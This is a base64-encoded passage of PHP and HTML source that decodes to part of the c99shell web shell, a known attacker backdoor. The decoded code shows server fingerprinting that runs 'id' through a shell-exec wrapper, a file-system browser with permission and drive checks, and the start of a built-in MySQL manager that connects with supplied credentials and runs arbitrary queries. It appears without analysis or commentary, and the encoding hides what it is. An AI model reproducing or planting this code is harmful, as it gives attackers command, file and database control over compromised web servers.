DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCn0NCn0NCmlmICgkYWN0ID09ICJnb2ZpbGUiKSB7aWYgKGlzX2RpcigkZikpIHskYWN0ID0gImxzIjsgJGQgPSAkZjt9IGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5hbWUoJGYpO319DQovL1NlbmRpbmcgaGVhZGVycw0KQG9iX3N0YXJ0KCk7DQpAb2JfaW1wbGljaXRfZmx1c2goMCk7DQpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkNCnsNCiBnbG9iYWwgJGd6aXBlbmNvZGUsJGZ0Ow0KIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpDQogew0KICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgQG9iX2VuZF9jbGVhbigpOw0KICBAb2Jfc3RhcnQoIm9iX2d6SGFuZGxlciIpOw0KICBlY2hvICR2Ow0KICBAb2JfZW5kX2ZsdXNoKCk7DQogfQ0KfQ0KZnVuY3Rpb24gYzk5c2hleGl0KCkNCnsNCiBvbnBocHNodXRkb3duKCk7DQogZXhpdDsNCn0NCmhlYWRlcigiRXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCmhlYWRlcigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIGZhbHNlKTsNCmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KaWYgKGVtcHR5KCR0bXBkaXIpKQ0Kew0KICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOw0KIGlmIChpc19kaXIoJHRtcGRpcikpIHskdG1wZGlyID0gIi90bXAvIjt9DQp9DQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQokdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOw0KaWYgKHN1YnN0cigkdG1wZGlyLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHRtcGRpciAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9DQplbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpO30NCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpDQp7DQogJHNhZmVtb2RlID0gdHJ1ZTsNCiAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPXJlZD5PTiAoc2VjdXJlKTwvZm9udD4iOw0KfQ0KZWxzZSB7JHNhZmVtb2RlID0gZmFsc2U7ICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30NCiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc2VkaXIgPSB0cnVlOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2ZvbnQ+Ijt9DQplbHNlIHskb3BlbmJhc2VkaXIgPSBmYWxzZTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQ0KJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsNCmlmIChlbXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KJHNvcnRbMV0gPSBzdHJ0b2xvd2VyKCRzb3J0WzFdKTsNCiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NPRlRXQVJFIik7DQppZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU09GVFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9DQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigpLCI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwvdT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsNCkBpbmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGlnaHRfYmcpOyAvL0ZGRkZGRg0KQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDANCkBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsgLy8jMDAwMEJCDQpAaW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7IC8vIzAwMDAwMA0KQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDANCkBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7IC8vI0REMDAwMA0KaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyRhY3Rib3ggPSBhcnJheSgpO30NCiRkc3BhY3QgPSAkYWN0ID0gaHRtbHNwZWNpYWxjaGFycygkYWN0KTsNCiRkaXNwX2Z1bGxwYXRoID0gJGxzX2FyciA9ICRub3RscyA9IG51bGw7DQokdWQgPSB1cmxlbmNvZGUoJGQpOw0KPz48aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTEiPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj48dGl0bGU+PD9waHAgZWNobyBnZXRlbnYoIkhUVFBfSE9TVCIpOyA/PiAtIGM5OXNoZWxsPC90aXRsZT48U1RZTEU+VEQgeyBGT05ULVNJWkU6IDhwdDsgQ09MT1I6ICNlYmViZWI7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICM4MDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZvbnQtZmFtaWx5OiBWZXJkYW5hO31URC5oZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05ULVNJWkU6IDEwcHQ7IEJBQ0tHUk9VTkQ6ICM3ZDc0NzQ7IENPTE9SOiB3aGl0ZTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUEgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2RhZGFkYTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEuTGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzOnVua25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BOmhvdmVyIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogdW5kZXJsaW5lO30uc2tpbjB7cG9zaXRpb246YWJzb2x1dGU7IHdpZHRoOjIwMHB4OyBib3JkZXI6MnB4IHNvbGlkIGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOm1lbnU7IGZvbnQtZmFtaWx5OlZlcmRhbmE7IGxpbmUtaGVpZ2h0OjIwcHg7IGN1cnNvcjpkZWZhdWx0OyB2aXNpYmlsaXR5OmhpZGRlbjs7fS5za2luMXtjdXJzb3I6IGRlZmF1bHQ7IGZvbnQ6IG1lbnV0ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAxNDVweDsgYmFja2dyb3VuZC1jb2xvcjogbWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1dHRvbmZhY2U7dmlzaWJpbGl0eTpoaWRkZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxpZ2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxHZW5ldmEsIEFyaWFsOyBmb250LXNpemU6IDEwcHg7IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRkaW5nLWxlZnQ6MTVweDsgcGFkZGluZy1yaWdodDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31vcHRpb24ge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWlmcmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9cCB7TUFSR0lOLVRPUDogMHB4OyBNQVJHSU4tQk9UVE9NOiAwcHg7IExJTkUtSEVJR0hUOiAxNTAlfWJsb2NrcXVvdGV7IGZvbnQtc2l6ZTogOHB0OyBmb250LWZhbWlseTogQ291cmllciwgRml4ZWQsIEFyaWFsOyBib3JkZXIgOiA4cHggc29saWQgI0E5QTlBOTsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDVlbTsgbWFyZ2luLXJpZ2h0OiAzZW07IG1hcmdpbi1sZWZ0OiA0ZW07IGJhY2tncm91bmQtY29sb3I6ICNCN0IyQjA7fWJvZHksdGQsdGggeyBmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICNkOWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fTwvc3R5bGU+PC9oZWFkPjxCT0RZIHRleHQ9I2ZmZmZmZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAwMDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0wIHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFyZ2lud2lkdGg9MD48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBoZWlnaHQ9IjE1IiBub3dyYXAgYm9yZGVyY29sb3I9IiNDMEMwQzAiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cD48Zm9udCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iNSI+PGI+Qzk5U2hlbGwgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9TT0ZUV0FSRTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJzcDs8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFwKG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRfdXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5ic3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhwDQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7DQokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOw0KJGkgPSAwOw0KZm9yZWFjaCgkcGQgYXMgJGIpDQp7DQogJHQgPSAiIjsNCiAkaiA9IDA7DQogZm9yZWFjaCAoJGUgYXMgJHIpDQogew0KICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogIGlmICgkaiA9PSAkaSkge2JyZWFrO30NCiAgJGorKzsNCiB9DQogZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCR0KS4iJnNvcnQ9Ii4kc29ydC4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRiKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiI8L2I+PC9hPiI7DQogJGkrKzsNCn0NCmVjaG8gIiZuYnNwOyZuYnNwOyZuYnNwOyI7DQppZiAoaXNfd3JpdGFibGUoJGQpKQ0Kew0KICR3ZCA9IHRydWU7DQogJHdkdCA9ICI8Zm9udCBjb2xvcj1ncmVlbj5bIG9rIF08L2ZvbnQ+IjsNCiBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+IjsNCn0NCmVsc2UNCnsNCiAkd2QgPSBmYWxzZTsNCiAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD5bIFJlYWQtT25seSBdPC9mb250PiI7DQogZWNobyAiPGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPiI7DQp9DQppZiAoaXNfY2FsbGFibGUoImRpc2tfZnJlZV9zcGFjZSIpKQ0Kew0KICRmcmVlID0gZGlza19mcmVlX3NwYWNlKCRkKTsNCiAkdG90YWwgPSBkaXNrX3RvdGFsX3NwYWNlKCRkKTsNCiBpZiAoJGZyZWUgPT09IGZhbHNlKSB7JGZyZWUgPSAwO30NCiBpZiAoJHRvdGFsID09PSBmYWxzZSkgeyR0b3RhbCA9IDA7fQ0KIGlmICgkZnJlZSA8IDApIHskZnJlZSA9IDA7fQ0KIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9DQogJHVzZWQgPSAkdG90YWwtJGZyZWU7DQogJGZyZWVfcGVyY2VudCA9IHJvdW5kKDEwMC8oJHRvdGFsLyRmcmVlKSwyKTsNCiBlY2hvICI8YnI+PGI+RnJlZSAiLnZpZXdfc2l6ZSgkZnJlZSkuIiBvZiAiLnZpZXdfc2l6ZSgkdG90YWwpLiIgKCIuJGZyZWVfcGVyY2VudC4iJSk8L2I+IjsNCn0NCmVjaG8gIjxicj4iOw0KJGxldHRlcnMgPSAiIjsNCmlmICgkd2luKQ0Kew0KICR2ID0gZXhwbG9kZSgiXFwiLCRkKTsNCiAkdiA9ICR2WzBdOw0KIGZvcmVhY2ggKHJhbmdlKCJhIiwieiIpIGFzICRsZXR0ZXIpDQogew0KICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gaW5fYXJyYXkoJGxldHRlciwkc2FmZW1vZGVfZGlza2V0dGVzKTsNCiAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30NCiAgaWYgKCRib29sKQ0KICB7DQogICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJylcIiI6IiIpLiI+WyAiOw0KICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9DQogICBlbHNlIHskbGV0dGVycyAuPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9DQogICAkbGV0dGVycyAuPSAiIF08L2E+ICI7DQogIH0NCiB9DQogaWYgKCFlbXB0eSgkbGV0dGVycykpIHtlY2hvICI8Yj5EZXRlY3RlZCBkcml2ZXM8L2I+OiAiLiRsZXR0ZXJzLiI8YnI+Ijt9DQp9DQppZiAoY291bnQoJHF1aWNrbGF1bmNoKSA+IDApDQp7DQogZm9yZWFjaCgkcXVpY2tsYXVuY2ggYXMgJGl0ZW0pDQogew0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogIGlmIChlbXB0eSgkdikpIHskYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7IHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7ICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTt9DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7DQogfQ0KfQ0KZWNobyAiPC9wPjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KaWYgKCghZW1wdHkoJGRvbmF0ZWRfaHRtbCkpIGFuZCAoaW5fYXJyYXkoJGFjdCwkZG9uYXRlZF9hY3QpKSkge2VjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiIuJGRvbmF0ZWRfaHRtbC4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7fQ0KZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IjsNCmlmICgkYWN0ID09ICIiKSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30NCmlmICgkYWN0ID09ICJzcWwiKQ0Kew0KICRzcWxfc3VybCA9ICRzdXJsLiJhY3Q9c3FsIjsNCiBpZiAoJHNxbF9sb2dpbikgIHskc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pO30NCiBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQ0KIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9DQogaWYgKCRzcWxfcG9ydCkgICB7JHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fQ0KIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQ0KICRzcWxfc3VybCAuPSAiJiI7DQogZWNobyAiPGgzPkF0dGVudGlvbiEgU1FMLU1hbmFnZXIgaXMgPHU+Tk9UPC91PiByZWFkeSBtb2R1bGUhIERvbid0IHJlcG9ydHMgYnVncy48L2gzPjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj1cIiNDMEMwQzBcIj48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIGhlaWdodD0xIGNvbHNwYW49MiB2YWxpZ249dG9wPjxjZW50ZXI+IjsNCiBpZiAoJHNxbF9zZXJ2ZXIpDQogew0KICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsNCiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KIH0NCiBlbHNlIHskc3FsX3NvY2sgPSBmYWxzZTt9DQogZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOw0KIGlmICghJHNxbF9zb2NrKQ0KIHsNCiAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIk5PIENPTk5FQ1RJT04iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBjb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXItc3RhdHVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnN0YXR1cyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnZhcnMiKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3Bv